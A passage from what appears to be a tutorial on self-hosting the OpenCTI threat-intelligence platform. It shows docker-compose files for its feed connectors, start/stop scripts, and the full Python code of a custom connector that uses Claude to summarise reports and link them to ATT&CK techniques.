--max-old-space-size=8096<br>      APP__PORT: 8080<br>      APP__BASE_URL: ${OPENCTI_BASE_URL:-http://localhost:8080}<br>      APP__ADMIN__EMAIL: ${OPENCTI_ADMIN_EMAIL}<br>      APP__ADMIN__PASSWORD: ${OPENCTI_ADMIN_PASSWORD}<br>      APP__ADMIN__TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      APP__APP_LOGS__LOGS_LEVEL: error<br>      REDIS__HOSTNAME: redis<br>      REDIS__PORT: 6379<br>      REDIS__USE_SSL: "false"<br>      REDIS__PASSWORD: ${REDIS_PASSWORD:-opencti}<br>      ELASTICSEARCH__URL: http://elasticsearch:9200<br>      ELASTICSEARCH__USERNAME: elastic<br>      ELASTICSEARCH__PASSWORD: ${ELASTIC_PASSWORD:-CHANGE_ME}<br>      MINIO__ENDPOINT: minio<br>      MINIO__PORT: 9000<br>      MINIO__USE_SSL: "false"<br>      MINIO__ACCESS_KEY: ${MINIO_ROOT_USER:-opencti}<br>      MINIO__SECRET_KEY: ${MINIO_ROOT_PASSWORD:-CHANGE_ME}<br>      RABBITMQ__HOSTNAME: rabbitmq<br>      RABBITMQ__PORT: 5672<br>      RABBITMQ__USERNAME: ${RABBITMQ_DEFAULT_USER:-opencti}<br>      RABBITMQ__PASSWORD: ${RABBITMQ_DEFAULT_PASS:-CHANGE_ME}<br>      SMTP__HOSTNAME: localhost<br>      PROVIDERS__LOCAL__STRATEGY: LocalStrategy<br>    volumes:<br>      - ./patches/back.js:/opt/opencti/build/back.js:ro<br>    ports:<br>      - "8080:8080"<br>    depends_on:<br>      - redis<br>      - elasticsearch<br>      - minio<br>      - rabbitmq<br>    restart: always<br>  worker:<br>    image: opencti/worker:6.2.0<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      WORKER_LOG_LEVEL: error<br>    depends_on:<br>      - opencti<br>    deploy:<br>      mode: replicated<br>      replicas: 3<br>    restart: always<br>volumes:<br>  esdata:<br>  redisdata:<br>  miniodata:<br>  rabbitmqdata:<br>networks:<br>  default:<br>    name: opencti_network<br>    external: true</pre><h4>7.4 Connectors — docker-compose.connectors.yml</h4><pre>nano docker-compose.connectors.yml</pre><pre>version: "3"<br>services:<br>  # MITRE ATT&amp;CK (no API key needed)<br>  connector-mitre:<br>    image: opencti/connector-mitre:6.2.0<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      CONNECTOR_ID: ${CONNECTOR_MITRE_TOKEN}<br>      CONNECTOR_NAME: "MITRE ATT&amp;CK"<br>      CONNECTOR_SCOPE: "marking-definition,identity,attack-pattern,course-of-action,intrusion-set,campaign,malware,tool,vulnerability,x-mitre-matrix,x-mitre-tactic,x-mitre-collection"<br>      CONNECTOR_CONFIDENCE_LEVEL: 75<br>      CONNECTOR_UPDATE_EXISTING_DATA: "true"<br>      CONNECTOR_LOG_LEVEL: error<br>      MITRE_REMOVE_STATEMENT_MARKING: "true"<br>      MITRE_INTERVAL: 7  # days between full refresh<br>    restart: always<br>  # CVE / NVD Vulnerabilities<br>  connector-cve:<br>    image: opencti/connector-cve:6.2.0<br>    volumes:<br>      - ./patches/cve/api.py:/opt/opencti-connector-cve/services/client/api.py:ro<br>      - ./patches/cve/vulnerability.py:/opt/opencti-connector-cve/services/client/vulnerability.py:ro<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      CONNECTOR_ID: ${CONNECTOR_CVE_TOKEN}<br>      CONNECTOR_NAME: "Common Vulnerabilities and Exposures"<br>      CONNECTOR_SCOPE: "identity,vulnerability"<br>      CONNECTOR_CONFIDENCE_LEVEL: 75<br>      CONNECTOR_LOG_LEVEL: info<br>      CONNECTOR_UPDATE_EXISTING_DATA: "true"<br>      CVE_BASE_URL: "https://services.nvd.nist.gov/rest/json/cves"<br>      CVE_API_KEY: ${NVD_API_KEY}<br>      CVE_MAX_DATE_RANGE: 120<br>      CVE_MAINTAIN_DATA: "true"<br>      CVE_INTERVAL: 2<br>    restart: always<br>  # AlienVault OTX<br>  connector-alienvault:<br>    image: opencti/connector-alienvault:6.2.0<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      CONNECTOR_ID: ${CONNECTOR_ALIENVAULT_TOKEN}<br>      CONNECTOR_NAME: "AlienVault OTX"<br>      CONNECTOR_SCOPE: "stix-core-object"<br>      CONNECTOR_CONFIDENCE_LEVEL: 40<br>      CONNECTOR_LOG_LEVEL: error<br>      ALIENVAULT_BASE_URL: "https://otx.alienvault.com"<br>      ALIENVAULT_API_KEY: ${ALIENVAULT_API_KEY}<br>      ALIENVAULT_TLP: "White"<br>      ALIENVAULT_CREATE_OBSERVABLES: "true"<br>      ALIENVAULT_CREATE_INDICATORS: "true"<br>      ALIENVAULT_PULSE_START_TIMESTAMP: "2020-01-01T00:00:00"<br>      ALIENVAULT_REPORT_STATUS: "New"<br>      ALIENVAULT_REPORT_TYPE: "threat-report"<br>      ALIENVAULT_GUESS_MALWARE: "false"<br>      ALIENVAULT_GUESS_CVE: "false"<br>      ALIENVAULT_INTERVAL: 30   # minutes<br>    restart: always<br>  # Abuse.ch SSL Blacklist<br>  connector-abuse-ssl:<br>    image: opencti/connector-abuse-ssl:6.2.0<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      CONNECTOR_ID: ${CONNECTOR_MALWAREBAZAAR_TOKEN}<br>      CONNECTOR_NAME: "Abuse.ch SSL Blacklist"<br>      CONNECTOR_SCOPE: "stix-core-object"<br>      CONNECTOR_CONFIDENCE_LEVEL: 50<br>      CONNECTOR_LOG_LEVEL: error<br>      ABUSE_SSL_URL: "https://sslbl.abuse.ch/blacklist/sslblacklist.csv"<br>      ABUSE_SSL_INTERVAL: 30  # minutes<br>    restart: always<br>  # Abuse.ch URLhaus<br>  connector-urlhaus:<br>    image: opencti/connector-urlhaus:6.2.0<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      CONNECTOR_ID: ${CONNECTOR_URLHAUS_TOKEN}<br>      CONNECTOR_NAME: "Abuse.ch URLhaus"<br>      CONNECTOR_SCOPE: "stix-core-object"<br>      CONNECTOR_CONFIDENCE_LEVEL: 40<br>      CONNECTOR_LOG_LEVEL: error<br>      URLHAUS_CSV_URL: "https://urlhaus.abuse.ch/downloads/csv_recent/"<br>      URLHAUS_IMPORT_OFFLINE: "true"<br>      URLHAUS_INTERVAL: 2  # hours<br>    restart: always<br>  connector-threatfox:<br>    image: opencti/connector-threatfox:6.2.0<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      CONNECTOR_ID: ${CONNECTOR_THREATFOX_TOKEN}<br>      CONNECTOR_NAME: "ThreatFox"<br>      CONNECTOR_SCOPE: "stix-core-object"<br>      CONNECTOR_CONFIDENCE_LEVEL: 40<br>      CONNECTOR_LOG_LEVEL: error<br>      THREATFOX_API_URL: "https://threatfox-api.abuse.ch/api/v1/"<br>      THREATFOX_CREATE_INDICATORS: "true"<br>      THREATFOX_CREATE_OBSERVABLES: "true"<br>      THREATFOX_INTERVAL: 3<br>    restart: always<br>  connector-import-document:<br>    image: opencti/connector-import-document:6.2.0<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      CONNECTOR_ID: ${CONNECTOR_IMPORT_DOCUMENT_TOKEN}<br>      CONNECTOR_NAME: "ImportDocument"<br>      CONNECTOR_SCOPE: "application/pdf,text/plain,text/html"<br>      CONNECTOR_AUTO: "true"<br>      CONNECTOR_CONFIDENCE_LEVEL: 75<br>      CONNECTOR_LOG_LEVEL: error<br>    restart: always<br>networks:<br>  default:<br>    name: opencti_network<br>    external: true</pre><h4>7.5 AI Enrichment Connector — docker-compose.ai.yml</h4><pre>nano docker-compose.ai.yml</pre><pre>version: "3"<br><br>services:<br>  connector-ai-enrichment:<br>    build:<br>      context: ./connectors/ai-enrichment<br>      dockerfile: Dockerfile<br>    environment:<br>      OPENCTI_URL: http://opencti:8080<br>      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}<br>      CONNECTOR_ID: ${CONNECTOR_AI_ENRICHMENT_TOKEN}<br>      CONNECTOR_NAME: "AI Enrichment (Claude)"<br>      CONNECTOR_LOG_LEVEL: info<br>      ANTHROPIC_API_KEY: ${ANTHROPIC_API_KEY}<br>      AI_MODEL: claude-opus-4-7<br>      AI_ENRICHMENT_REPORTS: "true"<br>      AI_ENRICHMENT_MALWARE: "true"<br>      AI_ENRICHMENT_THREAT_ACTORS: "true"<br>    restart: always<br><br>networks:<br>  default:<br>    name: opencti_network<br>    external: true</pre><h3>8. Connector Configuration</h3><h4>Fast Start / Stop Scripts</h4><p>The repository includes two helper scripts for daily operations:</p><pre># Start core OpenCTI, wait for the UI/API, then start connectors and AI enrichment<br>./scripts/start-all.sh<br># Stop AI enrichment, connectors, and core OpenCTI while preserving Docker volumes<br>./scripts/stop-all.sh</pre><p>Use these scripts for normal start/stop operations after .env is configured. Use the manual commands below when debugging a specific service startup problem.</p><pre>nano start-all.sh</pre><pre>#!/usr/bin/env bash<br>set -euo pipefail<br><br>ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." &amp;&amp; pwd)"<br>cd "$ROOT_DIR"<br><br>WAIT_TIMEOUT="${WAIT_TIMEOUT:-300}"<br><br>wait_for_opencti() {<br>  local deadline=$((SECONDS + WAIT_TIMEOUT))<br><br>  echo "[start] Waiting for OpenCTI API on http://localhost:8080..."<br>  until curl -fsS http://localhost:8080 &gt;/dev/null 2&gt;&amp;1; do<br>    if (( SECONDS &gt;= deadline )); then<br>      echo "[start] OpenCTI did not become reachable within ${WAIT_TIMEOUT}s." &gt;&amp;2<br>      echo "[start] Check logs with: docker compose logs -f opencti" &gt;&amp;2<br>      return 1<br>    fi<br>    sleep 5<br>  done<br>}<br><br>echo "[start] Starting OpenCTI core stack..."<br>docker compose -f docker-compose.yml up -d<br><br>wait_for_opencti<br><br>echo "[start] Starting external connectors..."<br>docker compose -f docker-compose.connectors.yml up -d<br><br>echo "[start] Building and starting AI enrichment connector..."<br>docker compose -f docker-compose.ai.yml up -d --build<br><br>echo "[start] Done."<br>docker compose -f docker-compose.yml ps</pre><pre>nano stop-all.sh</pre><pre>#!/usr/bin/env bash<br>set -euo pipefail<br><br>ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." &amp;&amp; pwd)"<br>cd "$ROOT_DIR"<br><br>echo "[stop] Stopping OpenCTI core, connectors, and AI enrichment..."<br>docker compose \<br>  -f docker-compose.yml \<br>  -f docker-compose.connectors.yml \<br>  -f docker-compose.ai.yml \<br>  down --remove-orphans<br><br>echo "[stop] Done. Volumes are preserved."</pre><h4>8.1 Start the Core Stack</h4><pre>cd /home/andrey/openCTI<br><br># Pre-flight: ElasticSearch refuses allocation above 90% disk usage<br>df -h /var/lib/docker<br># If &gt; 90% full, run: docker system prune -a   (frees ~47 GB of unused images)<br><br># Create the shared Docker network (idempotent — safe to re-run)<br>docker network create opencti_network 2&gt;/dev/null || true<br><br># Start core services<br>docker compose -f docker-compose.yml up -d<br><br># Wait for ElasticSearch to be healthy before OpenCTI finishes initializing<br>until curl -s -u "elastic:${ELASTIC_PASSWORD}" \<br>  http://localhost:9200/_cluster/health | grep -q '"status":"green"\|"status":"yellow"'; do<br>  echo "Waiting for ES..."; sleep 5<br>done<br><br># Watch logs — first-run index creation takes 5-10 minutes<br># Look for "Listening on port 8080"<br>docker compose -f docker-compose.yml logs -f opencti | grep -E "Listening|ERROR|indices"</pre><h4>8.2 Start Connectors</h4><pre># Start feed connectors (after OpenCTI is healthy)<br>docker compose -f docker-compose.connectors.yml up -d<br># Verify connectors registered (wait ~60s for startup)<br>docker compose -f docker-compose.connectors.yml ps</pre><h4>8.3 Verify in UI</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgDghte5c5Hd2tKbutvP8A.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fIQLlAGqYjzNesmSnRw2QQ.png"></figure><pre>http://localhost:8080<br>Login: admin@opencti.local / &lt;your password&gt;Navigation:<br>  Data → Connectors → check all show status "connected"<br>  Knowledge → Malwares → should start populating within minutes<br>  Activities → Logs → watch ingest events</pre><h3>9. AI-Driven Enrichment Pipeline</h3><h4>Overview</h4><p>The AI enrichment pipeline adds a Claude-powered layer on top of the standard OpenCTI ingestion flow. Every time a connector (AlienVault, MITRE, URLhaus, etc.) writes a new object into OpenCTI, an event is published to RabbitMQ. The AI connector subscribes to that event stream, calls the Claude API with the object’s content, and writes the extracted structured intelligence back into the graph as STIX relationships, notes, and entity updates — all automatically.</p><p><strong>Without AI enrichment:</strong></p><pre>AlienVault pulse → Report object in OpenCTI<br>                   (raw text, no relationships, no ATT&amp;CK mapping)</pre><p><strong>With AI enrichment:</strong></p><pre>AlienVault pulse → Report object in OpenCTI<br>                       ↓ AI connector picks it up from event stream<br>                   Claude API: extract entities, map techniques, score severity<br>                       ↓<br>                   Report now has:<br>                   ├── Note: executive summary (2-3 sentences)<br>                   ├── Relationship → ThreatActor (if found in graph)<br>                   ├── Relationship → Malware (if found in graph)<br>                   ├── Relationship → AttackPattern T1059.001 (created if missing)<br>                   └── x_opencti_score updated based on AI confidence</pre><h4>9.1 How the Event Stream Works</h4><p>OpenCTI uses RabbitMQ as its internal message bus. Every write operation (create, update, delete) on any STIX object publishes a message to a topic exchange. Connectors subscribe to this exchange via pycti's OpenCTIConnectorHelper.listen() method.</p><pre>OpenCTI platform<br>      │<br>      │ write event (STIX bundle)<br>      ▼<br>  RabbitMQ<br>  exchange: amq.topic<br>      │<br>      ├──► worker-1 (standard workers — write to ES/graph)<br>      ├──► worker-2<br>      ├──► worker-3<br>      └──► connector-ai-enrichment  ← our connector subscribes here<br>                  │<br>                  │ reads event payload:<br>                  │ {<br>                  │   "type": "create",<br>                  │   "data": { "id": "report--uuid", "type": "report", ... }<br>                  │ }<br>                  ▼<br>            calls Claude API<br>                  ▼<br>            writes enrichment back via GraphQL API</pre><p>Each message contains the full STIX object that was just created. The connector processes it and acknowledges the message — if it crashes mid-processing, RabbitMQ redelivers it.</p><p><strong>Connector type </strong><strong>INTERNAL_ENRICHMENT</strong> means:</p><ul><li>It does not import data on a schedule</li><li>It reacts to existing objects as they are created or updated</li><li>It appears in Settings → Connectors → Enrichment in the UI</li></ul><h4>9.2 Rules Engine (CE Automation)</h4><p><strong>Note:</strong> Playbooks are an Enterprise Edition feature. The Community Edition uses the built-in Rules Engine, which automatically infers and propagates relationships as data arrives.</p><p>All 20 rules are enabled. To verify or toggle: <strong>Settings → Customization → Rules</strong></p><p>To enable all rules via API (already done — included for re-initialization):</p><pre>RULES="attribution_attribution attribution_targets indicate_sighted attribution_use \<br>localization_of_targets location_location location_targets participate-to_parts \<br>observable_related observe_sighting part_part part-of_targets sighting_incident \<br>sighting_observable sighting_indicator report_ref_identity_part_of \<br>report_ref_indicator_based_on report_ref_observable_based_on \<br>report_ref_location_located_at parent_technique_use"<br>TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)<br>for rule in $RULES; do<br>  curl -s -X POST http://localhost:8080/graphql \<br>    -H "Authorization: Bearer $TOKEN" \<br>    -H "Content-Type: application/json" \<br>    -d "{\"query\":\"mutation { ruleSetActivation(id: \\\"$rule\\\", enable: true) { id activated } }\"}" \<br>    | python3 -c "import sys,json; d=json.load(sys.stdin); print('$rule:', d['data']['ruleSetActivation']['activated'])"<br>done</pre><p><strong>What these rules do automatically once data arrives:</strong></p><p>RuleEffectattribution_attributionIf APT-X is attributed to Country-A, and APT-Y is a sub-group of APT-X → APT-Y also attributed to Country-Asighting_incidentIf an indicator is sighted, automatically raise an Incidentindicate_sightedIf indicator is sighted → infer the targeted entity from the indicator's relationshipreport_ref_indicator_based_onIf a Report references Observable X, and X has an Indicator → auto-link the Indicator to the Reportobservable_relatedIf two objects share a common Observable → infer a related-to relationshipparent_technique_useIf a sub-technique (T1059.001) is used → auto-link parent technique (T1059) as used</p><p><strong>For custom event-driven automation in CE</strong>, use a pycti script or the AI connector (section 9.1). The pycti library supports streaming the live event feed via helper.listen() — the AI connector in 9.1 uses exactly this pattern.10. Post-Deployment Hardening</p><h4>9.2 What Claude Extracts and How It Maps to STIX</h4><p>The connector sends the report’s description text to Claude with a structured prompt. Claude returns JSON. The connector then maps each field to STIX operations:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1BfkVeUO3Qlt9Kj6-MkFg.png"></figure><p>Claude output fieldSTIX actionsummaryCreates a Note object attached to the report (object_refs)threat_actors[]Looks up ThreatActor by name in graph → creates related-to relationship to reportmalware_families[]Looks up Malware by name → creates related-to relationship to reportattack_techniques[]Looks up AttackPattern by external_id (T1059.001) → creates uses relationship to reporttargeted_sectors[]Looks up Identity (sector) → creates targets relationshiptargeted_countries[]Looks up Location by ISO code → creates targets relationshipconfidenceSets x_opencti_score on the report (0–100)</p><p><strong>Why look up instead of creating?</strong> MITRE ATT&amp;CK and identity data is already loaded by the MITRE connector. Looking up prevents duplicates. Only AttackPattern objects are created if missing (since Claude may identify techniques not yet in the graph).</p><h4>9.3 Connector Code</h4><pre>mkdir -p /home/andrey/openCTI/connectors/ai-enrichment</pre><p><a href="https://infosecwriteups.com/connectors/ai-enrichment/connector.py"><strong>connectors/ai-enrichment/connector.py</strong></a></p><pre>import os<br>import json<br>import time<br>import anthropic<br>from pycti import OpenCTIConnectorHelper<br><br>SYSTEM_PROMPT = """You are a senior cyber threat intelligence analyst.<br>Analyze threat intelligence content and return structured JSON only.<br>No prose, no markdown fences, no explanation — raw JSON."""<br><br>REPORT_PROMPT = """Analyze this threat intelligence report. Return JSON with exactly these keys:<br>- summary: string (2-3 sentence executive brief, plain text)<br>- threat_actors: list of strings (actor names, aliases, groups mentioned)<br>- malware_families: list of strings (malware/tool names)<br>- attack_techniques: list of strings (MITRE ATT&amp;CK IDs only, e.g. ["T1059.001", "T1003"])<br>- targeted_sectors: list of strings (e.g. ["Finance", "Healthcare", "Government"])<br>- targeted_countries: list of strings (ISO 3166-1 alpha-2, e.g. ["US", "UA", "DE"])<br>- confidence: integer 0-100<br><br>Report:<br>{content}"""<br><br>INTRUSION_SET_PROMPT = """Analyze this threat actor / intrusion set profile. Return JSON with exactly these keys:<br>- summary: string (2-3 sentence executive brief)<br>- aliases: list of strings (other known names)<br>- malware_families: list of strings (malware/tools this actor uses)<br>- attack_techniques: list of strings (MITRE ATT&amp;CK IDs, e.g. ["T1059.001", "T1003"])<br>- targeted_sectors: list of strings (sectors this actor targets)<br>- targeted_countries: list of strings (ISO 3166-1 alpha-2 codes)<br>- motivation: string (one of: "espionage", "financial", "hacktivism", "destruction", "unknown")<br>- sophistication: string (one of: "minimal", "intermediate", "advanced", "expert", "unknown")<br>- confidence: integer 0-100<br><br>Profile:<br>{content}"""<br><br><br>class AIEnrichmentConnector:<br>    def __init__(self):<br>        config = {<br>            "opencti": {<br>                "url": os.environ.get("OPENCTI_URL", "http://opencti:8080"),<br>                "token": os.environ["OPENCTI_TOKEN"],<br>            },<br>            "connector": {<br>                "id": os.environ["CONNECTOR_ID"],<br>                "type": "INTERNAL_ENRICHMENT",<br>                "name": os.environ.get("CONNECTOR_NAME", "AI Enrichment (Claude)"),<br>                "scope": "Report,Intrusion-Set,Threat-Actor-Group,Malware",<br>                "log_level": os.environ.get("CONNECTOR_LOG_LEVEL", "info"),<br>                "auto": False,<br>            },<br>        }<br>        self.helper = OpenCTIConnectorHelper(config)<br>        self.client = anthropic.Anthropic(api_key=os.environ["ANTHROPIC_API_KEY"])<br>        self.model = os.environ.get("AI_MODEL", "claude-opus-4-7")<br><br>    # -------------------------------------------------------------------------<br>    # Claude call with retry on rate limit<br>    # -------------------------------------------------------------------------<br><br>    def _call_claude(self, prompt_template: str, content: str) -&gt; dict | None:<br>        for attempt in range(3):<br>            try:<br>                msg = self.client.messages.create(<br>                    model=self.model,<br>                    max_tokens=2048,<br>                    system=SYSTEM_PROMPT,<br>                    messages=[{"role": "user", "content": prompt_template.format(content=content[:8000])}],<br>                )<br>                return json.loads(msg.content[0].text)<br>            except anthropic.RateLimitError:<br>                wait = 60 * (attempt + 1)<br>                self.helper.log_warning(f"Rate limited — waiting {wait}s")<br>                time.sleep(wait)<br>            except (json.JSONDecodeError, anthropic.APIError) as e:<br>                self.helper.log_error(f"Claude call failed: {e}")<br>                return None<br>        return None<br><br>    # -------------------------------------------------------------------------<br>    # STIX write-back helpers<br>    # -------------------------------------------------------------------------<br><br>    def _add_note(self, entity_id: str, summary: str, confidence: int) -&gt; None:<br>        self.helper.api.note.create(<br>            abstract="AI Summary",<br>            content=summary,<br>            confidence=confidence,<br>            object_ids=[entity_id],<br>        )<br><br>    def _link_threat_actors(self, entity_id: str, names: list, confidence: int) -&gt; None:<br>        for name in names:<br>            actor = self.helper.api.threat_actor_group.read(<br>                filters={"mode": "and", "filters": [{"key": "name", "values": [name]}], "filterGroups": []}<br>            )<br>            if actor:<br>                self.helper.api.stix_core_relationship.create(<br>                    fromId=entity_id,<br>                    toId=actor["id"],<br>                    relationship_type="related-to",<br>                    confidence=confidence,<br>                )<br><br>    def _link_malware(self, entity_id: str, names: list, confidence: int) -&gt; None:<br>        for name in names:<br>            malware = self.helper.api.malware.read(<br>                filters={"mode": "and", "filters": [{"key": "name", "values": [name]}], "filterGroups": []}<br>            )<br>            if malware:<br>                self.helper.api.stix_core_relationship.create(<br>                    fromId=entity_id,<br>                    toId=malware["id"],<br>                    relationship_type="uses",<br>                    confidence=confidence,<br>                )<br><br>    def _link_attack_patterns(self, entity_id: str, technique_ids: list, confidence: int) -&gt; None:<br>        for tid in technique_ids:<br>            pattern = self.helper.api.attack_pattern.read(<br>                filters={"mode": "and", "filters": [{"key": "x_mitre_id", "values": [tid]}], "filterGroups": []}<br>            )<br>            if not pattern:<br>                pattern = self.helper.api.attack_pattern.create(<br>                    name=tid,<br>                    x_mitre_id=tid,<br>                    confidence=50,<br>                )<br>            if pattern:<br>                self.helper.api.stix_core_relationship.create(<br>                    fromId=entity_id,<br>                    toId=pattern["id"],<br>                    relationship_type="uses",<br>                    confidence=confidence,<br>                )<br><br>    def _update_score(self, entity_id: str, confidence: int) -&gt; None:<br>        self.helper.api.stix_domain_object.update_field(<br>            id=entity_id,<br>            input={"key": "x_opencti_score", "value": str(confidence)},<br>        )<br><br>    # -------------------------------------------------------------------------<br>    # Enrichment handlers per entity type<br>    # -------------------------------------------------------------------------<br><br>    def _enrich_report(self, report: dict) -&gt; str:<br>        content = report.get("description") or ""<br>        if len(content) &lt; 50:<br>            content = report.get("name", "")<br>        if not content or len(content) &lt; 10:<br>            return "Skipped: content too short"<br><br>        self.helper.log_info(f"Enriching report: {report['name']}")<br>        result = self._call_claude(REPORT_PROMPT, content)<br>        if not result:<br>            return "Skipped: Claude error"<br><br>        confidence = result.get("confidence", 50)<br>        entity_id = report["id"]<br><br>        if result.get("summary"):<br>            self._add_note(entity_id, result["summary"], confidence)<br>        if result.get("threat_actors"):<br>            self._link_threat_actors(entity_id, result["threat_actors"], confidence)<br>        if result.get("malware_families"):<br>            self._link_malware(entity_id, result["malware_families"], confidence)<br>        if result.get("attack_techniques"):<br>            self._link_attack_patterns(entity_id, result["attack_techniques"], confidence)<br><br>        self._update_score(entity_id, confidence)<br>        self.helper.log_info(f"Enriched report '{report['name']}'")<br>        return "Enriched"<br><br>    def _enrich_intrusion_set(self, entity: dict) -&gt; str:<br>        content = entity.get("description") or entity.get("name", "")<br>        if not content or len(content) &lt; 10:<br>            return "Skipped: content too short"<br><br>        self.helper.log_info(f"Enriching intrusion set: {entity['name']}")<br>        result = self._call_claude(INTRUSION_SET_PROMPT, content)<br>        if not result:<br>            return "Skipped: Claude error"<br><br>        confidence = result.get("confidence", 50)<br>        entity_id = entity["id"]<br><br>        if result.get("summary"):<br>            self._add_note(entity_id, result["summary"], confidence)<br>        if result.get("malware_families"):<br>            self._link_malware(entity_id, result["malware_families"], confidence)<br>        if result.get("attack_techniques"):<br>            self._link_attack_patterns(entity_id, result["attack_techniques"], confidence)<br><br>        self.helper.log_info(f"Enriched intrusion set '{entity['name']}'")<br>        return "Enriched"<br><br>    # -------------------------------------------------------------------------<br>    # Event handler<br>    # -------------------------------------------------------------------------<br><br>    def process_message(self, data: dict) -&gt; str:<br>        entity_type = data.get("entity_type", "").lower()<br>        entity_id = data.get("entity_id")<br>        enrichment_entity = data.get("enrichment_entity", {})<br><br>        self.helper.log_info(f"Received entity_type='{entity_type}' id='{entity_id}'")<br><br>        if not entity_id:<br>            return "Skipped"<br><br>        entity = enrichment_entity or {}<br><br>        if entity_type == "report":<br>            if not entity:<br>                entity = self.helper.api.report.read(id=entity_id) or {}<br>            if entity.get("confidence", 0) &lt; 40:<br>                return "Skipped: low confidence"<br>            return self._enrich_report(entity)<br><br>        if entity_type in ("intrusion-set", "threat-actor-group"):<br>            if not entity:<br>                entity = self.helper.api.intrusion_set.read(id=entity_id) or {}<br>            if not entity:<br>                return "Not found"<br>            return self._enrich_intrusion_set(entity)<br><br>        if entity_type == "malware":<br>            if not entity:<br>                entity = self.helper.api.malware.read(id=entity_id) or {}<br>            if not entity:<br>                return "Not found"<br>            content = entity.get("description") or entity.get("name", "")<br>            if not content or len(content) &lt; 10:<br>                return "Skipped: content too short"<br>            self.helper.log_info(f"Enriching malware: {entity['name']}")<br>            result = self._call_claude(REPORT_PROMPT, content)<br>            if not result:<br>                return "Skipped: Claude error"<br>            confidence = result.get("confidence", 50)<br>            if result.get("summary"):<br>                self._add_note(entity["id"], result["summary"], confidence)<br>            if result.get("attack_techniques"):<br>                self._link_attack_patterns(entity["id"], result["attack_techniques"], confidence)<br>            self._update_score(entity["id"], confidence)<br>            return "Enriched"<br><br>        return "Skipped"<br><br>    def start(self):<br>        self.helper.log_info("AI Enrichment connector starting...")<br>        self.helper.listen(self.process_message)<br><br><br>if __name__ == "__main__":<br>    AIEnrichmentConnector().start()</pre><p><a href="https://infosecwriteups.com/connectors/ai-enrichment/Dockerfile"><strong>connectors/ai-enrichment/Dockerfile</strong></a></p><pre>FROM python:3.11-slim<br>WORKDIR /app<br>COPY requirements.txt .<br>RUN pip install --no-cache-dir -r requirements.txt<br>COPY connector.py .<br>CMD ["python", "connector.py"]</pre><p><a href="https://infosecwriteups.com/connectors/ai-enrichment/requirements.txt"><strong>connectors/ai-enrichment/requirements.txt</strong></a></p><pre>pycti&gt;=6.2.0<br>anthropic&gt;=0.40.0</pre><h4>9.4 Deploy the AI Connector</h4><p><strong>Prerequisites:</strong> Set ANTHROPIC_API_KEY in .env first.</p><pre>cd /home/andrey/openCTI<br># Build the image<br>docker compose -f docker-compose.ai.yml build<br># Start it<br>docker compose -f docker-compose.ai.yml up -d<br># Verify it registered with OpenCTI (look for "AI Enrichment" in connector list)<br>docker logs opencti-connector-ai-enrichment-1 --tail=20</pre><p>In the OpenCTI UI: <strong>Settings → Connectors → Enrichment</strong> — the connector should appear with status connected after ~10 seconds.</p><h4>9.5 Testing the Pipeline</h4><p>Trigger a manual enrichment by importing a real threat report:</p><pre># Import a STIX report via the API to trigger the connector<br>curl -s -X POST http://localhost:8080/graphql \<br>  -H "Authorization: Bearer $(grep OPENCTI_ADMIN_TOKEN .env | cut -d= -f2)" \<br>  -H "Content-Type: application/json" \<br>  -d '{<br>    "query": "mutation { reportAdd(input: { name: \"Test: APT29 spearphishing campaign\", description: \"APT29, also known as Cozy Bear, conducted a spearphishing campaign targeting NATO members using a malicious PDF dropper that installed Cobalt Strike beacon via PowerShell (T1059.001). The campaign targeted defense contractors in Poland and Germany. The malware communicated with C2 over HTTPS using domain fronting (T1090.004).\", published: \"2024-01-15T00:00:00Z\", report_types: [\"threat-report\"] }) { id name } }"<br>  }'</pre><p>Then check what the AI connector wrote back:</p><pre># Watch connector logs for the enrichment<br>docker logs -f opencti-connector-ai-enrichment-1 2&gt;&amp;1 | grep -E "Enriching|Enriched|Error"<br># Expected output:<br># Enriching report: Test: APT29 spearphishing campaign<br># Enriched: 1 actors, 1 malware, 2 techniques</pre><p>In the UI, open the report — it should now have a Note with the summary, relationships to APT29 and Cobalt Strike, and links to T1059.001 and T1090.004.</p><h4>9.6 Cost and Rate Limiting</h4><p><strong>Estimated Claude API cost per report:</strong></p><ul><li>~500–2000 tokens input (report text, truncated at 8000 chars)</li><li>~300 tokens output (JSON response)</li><li>At claude-opus-4-7 pricing: ~$0.01–0.05 per report</li></ul><p><strong>Rate limiting:</strong> The Anthropic API has per-minute token limits. If AlienVault imports hundreds of reports in a burst, the connector will hit rate limits. Add a simple backoff:</p><pre>import time<br>def _call_claude(self, content: str) -&gt; dict | None:<br>    for attempt in range(3):<br>        try:<br>            msg = self.client.messages.create(...)<br>            return json.loads(msg.content[0].text)<br>        except anthropic.RateLimitError:<br>            time.sleep(60 * (attempt + 1))<br>        except (json.JSONDecodeError, anthropic.APIError) as e:<br>            self.helper.log_error(f"Claude call failed: {e}")<br>            return None<br>    return None</pre><p><strong>To limit scope</strong> (only enrich reports above a confidence threshold, skip low-quality feeds):</p><pre>def process_message(self, data: dict) -&gt; str:<br>    report = 